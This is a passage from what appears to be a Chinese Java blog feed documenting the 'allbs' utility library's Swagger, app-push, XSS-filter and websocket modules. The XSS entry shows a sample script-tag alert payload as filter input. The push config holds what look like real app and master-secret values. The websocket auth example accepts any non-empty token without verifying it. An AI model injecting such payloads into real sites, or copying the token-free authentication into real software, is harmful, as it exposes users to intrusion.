class="meta">@Data</span></span><br><span class="line"><span class="meta">@Schema(title = &quot;swagger类&quot;, name = &quot;SwaggerEntity&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SwaggerEntity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Schema(description = &quot;时间&quot;, name = &quot;time&quot;, implementation = LocalDateTime.class, example = &quot;2022-08-09&#x27;T&#x27;12:00:00&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime time;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Schema(description = &quot;名称&quot;, name = &quot;name&quot;, implementation = String.class, example = &quot;张三&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Schema(description = &quot;计数&quot;, name = &quot;count&quot;, implementation = Integer.class, example = &quot;12&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.swagger.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.utils.R;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.swagger.entity.SwaggerEntity;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.Operation;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.Parameter;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.Parameters;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.enums.ParameterIn;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.media.Content;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.media.ExampleObject;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.media.Schema;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.responses.ApiResponse;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.responses.ApiResponses;</span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.tags.Tag;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.GetMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 TestNoAuthController</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/8/9 9:49</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Tag(name = &quot;B类&quot;)</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;user&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestNoAuthController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Operation(summary = &quot;B类A方法&quot;)</span></span><br><span class="line">    <span class="meta">@Parameters(&#123;</span></span><br><span class="line"><span class="meta">            @Parameter(name = &quot;name&quot;, description = &quot;这是名称的注释&quot;, required = true, schema = @Schema(implementation = String.class), in = ParameterIn.QUERY),</span></span><br><span class="line"><span class="meta">            @Parameter(name = &quot;count&quot;, description = &quot;这是计数的注释&quot;, required = false, schema = @Schema(implementation = Integer.class), in = ParameterIn.QUERY),</span></span><br><span class="line"><span class="meta">    &#125;)</span></span><br><span class="line">    <span class="meta">@ApiResponses(&#123;</span></span><br><span class="line"><span class="meta">            @ApiResponse(responseCode = &quot;200&quot;, description = &quot;查询成功&quot;, content =</span></span><br><span class="line"><span class="meta">                    &#123;@Content(mediaType = &quot;application/json&quot;,</span></span><br><span class="line"><span class="meta">                            schema = @Schema(implementation = SwaggerEntity.class),</span></span><br><span class="line"><span class="meta">                            examples = &#123;@ExampleObject(value = &quot;&#123;\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;  \&quot;code\&quot;: 200,\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;  \&quot;success\&quot;: true,\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;  \&quot;msg\&quot;: \&quot;操作成功\&quot;,\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;  \&quot;data\&quot;: &#123;\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;    \&quot;time\&quot;: \&quot;2022-08-09T15:44:40.991\&quot;,\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;    \&quot;name\&quot;: \&quot;xxx\&quot;,\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;    \&quot;count\&quot;: 123\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;  &#125;\n&quot; +</span></span><br><span class="line"><span class="meta">                                    &quot;&#125;&quot;)&#125;)&#125;)</span></span><br><span class="line"><span class="meta">    &#125;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;swaggerTest&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> R&lt;SwaggerEntity&gt; <span class="title function_">swaggerTest</span><span class="params">(String name, Integer count)</span> &#123;</span><br><span class="line">        <span class="type">SwaggerEntity</span> <span class="variable">swaggerEntity</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SwaggerEntity</span>();</span><br><span class="line">        swaggerEntity.setName(name);</span><br><span class="line">        swaggerEntity.setTime(LocalDateTime.now());</span><br><span class="line">        swaggerEntity.setCount(count);</span><br><span class="line">        <span class="keyword">return</span> R.ok(swaggerEntity);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="swagger2及swagger3注解对应关系">swagger2及swagger3注解对应关系</h2><table><thead><tr><th>SpringFox</th><th>SpringDoc</th></tr></thead><tbody><tr><td>@Api</td><td>@Tag</td></tr><tr><td>@ApiIgnore</td><td>@Parameter(hidden = true)or@Operation(hidden = true)or@Hidden</td></tr><tr><td>@ApiImplicitParams</td><td>@Parameters</td></tr><tr><td>@ApiImplicitParam</td><td>@Parameter</td></tr><tr><td>@ApiModel</td><td>@Schema</td></tr><tr><td>@ApiModelProperty</td><td>@Schema</td></tr><tr><td>@ApiOperation(value = “foo”, notes = “bar”)</td><td>@Operation(summary = “foo”, description = “bar”)</td></tr><tr><td>@ApiParam</td><td>@Parameter</td></tr><tr><td>@ApiResponse(code = 404, message = “foo”)</td><td>ApiResponse(responseCode = “404”, description = “foo”)</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">allbs工具类说明 - swagger</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="文档" scheme="https://blog.allbs.cn/tags/%E6%96%87%E6%A1%A3/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="swagger" scheme="https://blog.allbs.cn/tags/swagger/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - app推送</title>
    <link href="https://blog.allbs.cn/posts/52054/"/>
    <id>https://blog.allbs.cn/posts/52054/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.2</td></tr><tr><td>gexin-rp-sdk-http</td><td>4.1.1.4</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-unipush<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-unipush:1.2.0&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-unipush:1.2.0&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="添加配置">添加配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">uni-push:</span></span><br><span class="line">  <span class="attr">app-id:</span> <span class="string">cnvd9OFb4V9tCB2lUrLAT6</span></span><br><span class="line">  <span class="attr">app-key:</span> <span class="string">xxxxxxxxxxxxxxxxxxxxxxxxxxxx</span></span><br><span class="line">  <span class="attr">app-secret:</span> <span class="string">xxxxxxxxxxxxxxxxxxxxxxxxxxxx</span></span><br><span class="line">  <span class="attr">master-secret:</span> <span class="string">yUTUtfDQ129wG2qKh8elcxsdsfgwewe</span></span><br><span class="line">  <span class="attr">url:</span> <span class="string">http://api.getui.com/apiex.htm</span></span><br><span class="line">  <span class="attr">offline-expire-time:</span> <span class="number">720</span></span><br></pre></td></tr></table></figure><h3 id="template注入">template注入</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> fianl UniPushTemplate uniPushTemplate;</span><br></pre></td></tr></table></figure><h3 id="数据推送">数据推送</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uniPushTemplate.pushToAllUser(<span class="string">&quot;测试标题&quot;</span>, <span class="string">&quot;测试内容&quot;</span>);</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">allbs工具类说明 - app推送</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="uni-app" scheme="https://blog.allbs.cn/tags/uni-app/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="app推送" scheme="https://blog.allbs.cn/tags/app%E6%8E%A8%E9%80%81/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - xss防御</title>
    <link href="https://blog.allbs.cn/posts/53533/"/>
    <id>https://blog.allbs.cn/posts/53533/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>jsoup</td><td>1.13.1</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.2</td></tr><tr><td>jackson-databind</td><td>2.13.3</td></tr><tr><td>javax.servlet-api</td><td>4.0.1</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.2</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-xss<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-xss:2.0.0&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-xss:2.0.0&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="自动过滤html相关标签">自动过滤html相关标签</h3><p>添加注解后默认开启xss防御，只拦截<code>PUT</code>及<code>POST</code>请求的接口，可以在方法上添加注解<mark class="hl-label red">@XssIgnore</mark>关闭xss拦截</p><h3 id="配置说明">配置说明</h3><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">security:</span></span><br><span class="line">  <span class="attr">xss:</span></span><br><span class="line">  <span class="comment"># true开启全局过滤，false关系全局过滤</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">    <span class="comment"># 拦截的路由列表</span></span><br><span class="line">    <span class="attr">pathPatterns:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/user</span></span><br><span class="line">    <span class="comment"># 不过滤的路由列表</span></span><br><span class="line">    <span class="attr">excludePatterns:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/xss</span></span><br></pre></td></tr></table></figure><h3 id="示例">示例</h3><h4 id="代码">代码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RequestMapping(&quot;xss&quot;)</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">XssController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@PostMapping(&quot;test&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">test</span><span class="params">(String htmlContent)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> htmlContent;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="过滤前">过滤前</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;xss攻击&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>参数</span><br></pre></td></tr></table></figure><h4 id="过滤后">过滤后</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">参数</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/415f4d5a3f0e46ce1f2b5ad371d293ae.png" alt="image-20220809163825739"></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - xss防御</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="xss" scheme="https://blog.allbs.cn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - websocket</title>
    <link href="https://blog.allbs.cn/posts/20982/"/>
    <id>https://blog.allbs.cn/posts/20982/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>spring-boot-starter-websocket</td><td>2.7.2</td></tr><tr><td>allbs-common</td><td>1.1.6</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-websocket<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-websocket:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-websocket:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="重写权限认证模块-必须">重写权限认证模块(必须)</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AllbsAuthHandler</span> <span class="keyword">extends</span> <span class="title class_">AuthMessageHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">execute</span><span class="params">(WebSocketSession session, AuthRequest message)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果未传递 accessToken</span></span><br><span class="line">        <span class="keyword">if</span> (!StrUtil.isAllNotEmpty(message.getAccessToken(), message.getUserName())) &#123;</span><br><span class="line">            WebSocketUtil.send(session, <span class="string">&quot;401&quot;</span>,</span><br><span class="line">                    AuthResponse.builder().content(StrUtil.format(<span class="string">&quot;参数&#123;&#125;为必传参数&quot;</span>, <span class="string">&quot;userName&quot;</span>)).build());</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">MessageHandlerException</span>(<span class="string">&quot;缺少必要参数userName!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 添加到 WebSocketUtil 中</span></span><br><span class="line">        WebSocketUtil.addSession(session, message.getUserName());</span><br><span class="line">        <span class="comment">// 判断是否认证成功。</span></span><br><span class="line">        WebSocketUtil.send(session, <span class="string">&quot;200&quot;</span>, AuthResponse.builder().content(<span class="string">&quot;连接成功&quot;</span>).build());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="前端发送的消息需要自定义处理">前端发送的消息需要自定义处理</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AllbsSysDefaultHandler</span> <span class="keyword">extends</span> <span class="title class_">SysDefaultHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">execute</span><span class="params">(WebSocketSession session, SysDefaultRequest message)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;接收消息内容为:&quot;</span> + message);</span><br><span class="line">        <span class="comment">// 回复消息</span></span><br><span class="line">        <span class="type">SysDefaultRequest</span> <span class="variable">defa</span> <span class="operator">=</span> SysDefaultRequest.builder().content(<span class="string">&quot;消息放松成功&quot;</span>).build();</span><br><span class="line">        WebSocketUtil.send(<span class="string">&quot;1&quot;</span>, <span class="string">&quot;200&quot;</span>, defa);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="前端可发送的json内容">前端可发送的json内容</h3><h4 id="获取在线用户数量">获取在线用户数量</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;TOTAL_USER_COUNT&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="获取所有在线用户userName">获取所有在线用户userName</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ONLINE_USER_NAME_LIST&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="客户端发送给所有人消息">客户端发送给所有人消息</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;SEND_TO_ALL_REQUEST&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;群发消息内容&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="发送消息给指定的用户">发送消息给指定的用户</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;SEND_TO_ONE_REQUEST&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;toUserName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;这是单独发送的消息内容&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="后端主动推送消息给所有用户">后端主动推送消息给所有用户</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WebsocketUtil.broadcast(WebSocketResponseEnum webSocketResponseEnum, T data)</span><br></pre></td></tr></table></figure><h4 id="后端主动推送消息给所有用户方式二">后端主动推送消息给所有用户方式二</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WebsocketUtil.broadcast(String code, String msg, T data)</span><br></pre></td></tr></table></figure><h4 id="后端主动推送消息给所有用户（除自己）">后端主动推送消息给所有用户（除自己）</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WebsocketUtil.broadcastWithoutSelf(WebSocketResponseEnum webSocketResponseEnum, T data, String userName)</span><br></pre></td></tr></table></figure><h4 id="后端主动推送消息给所有用户（除自己）方式二">后端主动推送消息给所有用户（除自己）方式二</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WebsocketUtil.broadcastWithoutSelf(String code, String msg, T data, String userName)</span><br></pre></td></tr></table></figure><h4 id="发送消息给指定用户">发送消息给指定用户</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WebsocketUtil.send(String userName, String code, String msg, T data)</span><br></pre></td></tr></table></figure><h4 id="发送消息给指定用户方式二">发送消息给指定用户方式二</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WebsocketUtil.send(String userName, WebSocketResponseEnum webSocketResponseEnum, T data)</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">allbs工具类说明 - websocket</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="websocket" scheme="https://blog.allbs.cn/tags/websocket/"/>
    
  </entry>
  
  <entry>
    <title>xxl-job 项目启动后自动注册执行器、方法并启动</title>
    <link href="https://blog.allbs.cn/posts/38272/"/>
    <id>https://blog.allbs.cn/posts/38272/</id>
    <published>2022-04-17T01:25:00.000Z</published>
